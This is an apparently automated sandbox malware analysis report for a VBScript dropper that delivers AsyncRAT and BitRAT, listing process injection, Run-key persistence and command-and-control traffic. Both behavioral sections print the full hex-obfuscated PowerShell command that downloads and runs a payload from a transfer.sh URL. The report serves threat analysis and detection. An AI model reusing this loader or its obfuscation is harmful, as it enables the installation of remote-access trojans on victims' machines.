Malware Analysis Report

2025-08-06 03:58

Sample ID 210814-1r8jqg5hf6
Target W092.vbs
SHA256 414a79e6c87489cb73e9176e867d554788a28ba86cb4e00f3f8fed15400999bd
Tags
asyncrat bitrat persistence rat suricata trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

414a79e6c87489cb73e9176e867d554788a28ba86cb4e00f3f8fed15400999bd

Threat Level: Known bad

The file W092.vbs was found to be: Known bad.

Malicious Activity Summary

asyncrat bitrat persistence rat suricata trojan upx

BitRAT Payload

BitRAT

suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

AsyncRat

Async RAT payload

Blocklisted process makes network request

UPX packed file

Adds Run key to start application

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-08-14 06:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-08-14 06:40

Reported

2021-08-14 06:43

Platform

win7v20210408

Max time kernel

150s

Max time network

185s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"

Signatures

AsyncRat

rat asyncrat

BitRAT

trojan bitrat

BitRAT Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

suricata

suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

suricata

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Local\\Appdata\\Google.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1840 wrote to memory of 1376 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1376 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1376 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 1376 wrote to memory of 1548 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transfer.sh/1T8qkDx/ko.txt';$SOS='24-42-20-3d-27-45-54-48-20-43-4f-49-4e-74-2e-57-54-46-20-43-4f-49-4e-6c-49-4f-53-4e-54-27-2e-52-65-70-6c-61-63-65-28-27-45-54-48-20-43-4f-49-4e-27-2c-27-6e-45-27-29-2e-52-65-70-6c-61-63-65-28-27-54-46-20-43-4f-49-4e-27-2c-27-45-62-43-27-29-2e-52-65-70-6c-61-63-65-28-27-4f-53-27-2c-27-65-27-29-3b-24-43-43-20-3d-20-27-44-4f-53-20-43-4f-49-4e-20-4c-53-4f-53-43-4f-49-4e-6e-47-27-2e-52-65-70-6c-61-63-65-28-27-53-20-43-4f-49-4e-20-27-2c-27-57-6e-27-29-2e-52-65-70-6c-61-63-65-28-27-53-4f-27-2c-27-6f-61-44-27-29-2e-52-65-70-6c-61-63-65-28-27-43-4f-49-4e-27-2c-27-54-72-49-27-29-3b-24-41-20-3d-27-49-60-45-6f-73-20-43-4f-49-4e-60-57-60-42-54-43-20-43-4f-49-4e-6a-60-45-54-48-20-43-4f-49-4e-20-24-42-29-2e-24-43-43-28-24-54-52-55-4d-50-29-27-2e-52-65-70-6c-61-63-65-28-27-6f-73-20-43-4f-49-4e-27-2c-27-58-28-6e-60-65-27-29-2e-52-65-70-6c-61-63-65-28-27-42-54-43-20-43-4f-49-4e-27-2c-27-2d-4f-62-27-29-2e-52-65-70-6c-61-63-65-28-27-54-48-20-43-4f-49-4e-27-2c-27-60-63-60-54-27-29-3b-26-28-27-49-27-2b-27-45-58-27-29-28-24-41-20-2d-4a-6f-69-6e-20-27-27-29-7c-26-28-27-49-27-2b-27-45-58-27-29-3b';Invoke-Expression (-join ($SOS -split '-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 transfer.sh udp
N/A 144.76.136.153:80 transfer.sh tcp
N/A 8.8.8.8:53 asyncpc.duckdns.org udp
N/A 13.77.222.211:6650 asyncpc.duckdns.org tcp
N/A 20.194.35.6:7904 tcp

Files

memory/1840-59-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

memory/1376-60-0x0000000000000000-mapping.dmp

memory/1376-62-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

memory/1376-63-0x000000001ACB0000-0x000000001ACB1000-memory.dmp

memory/1376-64-0x0000000001F10000-0x0000000001F11000-memory.dmp

memory/1376-65-0x000000001AC30000-0x000000001AC32000-memory.dmp

memory/1376-66-0x000000001AC34000-0x000000001AC36000-memory.dmp

memory/1376-67-0x0000000001E30000-0x0000000001E31000-memory.dmp

memory/1376-68-0x000000001C6B0000-0x000000001C6B1000-memory.dmp

memory/1376-69-0x0000000002630000-0x0000000002631000-memory.dmp

memory/1376-72-0x0000000002660000-0x0000000002661000-memory.dmp

memory/1376-84-0x0000000002740000-0x0000000002741000-memory.dmp

memory/1376-85-0x0000000002890000-0x0000000002891000-memory.dmp

memory/1376-86-0x000000001AC3A000-0x000000001AC59000-memory.dmp

memory/1376-87-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

memory/1376-88-0x000000001ABB0000-0x000000001ABDA000-memory.dmp

memory/1376-89-0x0000000002730000-0x0000000002731000-memory.dmp

memory/936-90-0x0000000000400000-0x0000000000412000-memory.dmp

memory/936-91-0x000000000040D11E-mapping.dmp

memory/936-92-0x0000000000400000-0x0000000000412000-memory.dmp

memory/936-94-0x00000000762C1000-0x00000000762C3000-memory.dmp

memory/936-95-0x00000000047A0000-0x00000000047A1000-memory.dmp

memory/1548-97-0x0000000000400000-0x00000000007E4000-memory.dmp

memory/1548-98-0x00000000007E2740-mapping.dmp

memory/1376-99-0x0000000001E00000-0x0000000001E01000-memory.dmp

memory/1548-101-0x0000000000400000-0x00000000007E4000-memory.dmp

memory/1376-103-0x0000000002720000-0x0000000002721000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2021-08-14 06:40

Reported

2021-08-14 06:42

Platform

win10v20210410

Max time kernel

114s

Max time network

145s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"

Signatures

AsyncRat

rat asyncrat

suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

suricata

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 812 set thread context of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 748 wrote to memory of 812 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 748 wrote to memory of 812 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 812 wrote to memory of 2872 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transfer.sh/1T8qkDx/ko.txt';$SOS='24-42-20-3d-27-45-54-48-20-43-4f-49-4e-74-2e-57-54-46-20-43-4f-49-4e-6c-49-4f-53-4e-54-27-2e-52-65-70-6c-61-63-65-28-27-45-54-48-20-43-4f-49-4e-27-2c-27-6e-45-27-29-2e-52-65-70-6c-61-63-65-28-27-54-46-20-43-4f-49-4e-27-2c-27-45-62-43-27-29-2e-52-65-70-6c-61-63-65-28-27-4f-53-27-2c-27-65-27-29-3b-24-43-43-20-3d-20-27-44-4f-53-20-43-4f-49-4e-20-4c-53-4f-53-43-4f-49-4e-6e-47-27-2e-52-65-70-6c-61-63-65-28-27-53-20-43-4f-49-4e-20-27-2c-27-57-6e-27-29-2e-52-65-70-6c-61-63-65-28-27-53-4f-27-2c-27-6f-61-44-27-29-2e-52-65-70-6c-61-63-65-28-27-43-4f-49-4e-27-2c-27-54-72-49-27-29-3b-24-41-20-3d-27-49-60-45-6f-73-20-43-4f-49-4e-60-57-60-42-54-43-20-43-4f-49-4e-6a-60-45-54-48-20-43-4f-49-4e-20-24-42-29-2e-24-43-43-28-24-54-52-55-4d-50-29-27-2e-52-65-70-6c-61-63-65-28-27-6f-73-20-43-4f-49-4e-27-2c-27-58-28-6e-60-65-27-29-2e-52-65-70-6c-61-63-65-28-27-42-54-43-20-43-4f-49-4e-27-2c-27-2d-4f-62-27-29-2e-52-65-70-6c-61-63-65-28-27-54-48-20-43-4f-49-4e-27-2c-27-60-63-60-54-27-29-3b-26-28-27-49-27-2b-27-45-58-27-29-28-24-41-20-2d-4a-6f-69-6e-20-27-27-29-7c-26-28-27-49-27-2b-27-45-58-27-29-3b';Invoke-Expression (-join ($SOS -split '-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 transfer.sh udp
N/A 144.76.136.153:80 transfer.sh tcp
N/A 13.77.222.211:6890 tcp

Files

memory/812-114-0x0000000000000000-mapping.dmp

memory/812-119-0x000001E125CD0000-0x000001E125CD1000-memory.dmp

memory/812-123-0x000001E125FB0000-0x000001E125FB1000-memory.dmp

memory/812-124-0x000001E10BDE0000-0x000001E10BDE2000-memory.dmp

memory/812-125-0x000001E10BDE3000-0x000001E10BDE5000-memory.dmp

memory/812-126-0x000001E10BDE6000-0x000001E10BDE8000-memory.dmp

memory/812-142-0x000001E10BDE8000-0x000001E10BDE9000-memory.dmp

memory/812-153-0x000001E10D5C0000-0x000001E10D5EA000-memory.dmp

memory/2872-158-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2872-159-0x000000000040D11E-mapping.dmp

memory/812-164-0x000001E10D5F0000-0x000001E10D5F1000-memory.dmp

memory/2872-165-0x00000000052A0000-0x00000000052A1000-memory.dmp

memory/2872-166-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

memory/2872-167-0x0000000006180000-0x0000000006181000-memory.dmp

memory/2872-168-0x0000000005C80000-0x0000000005C81000-memory.dmp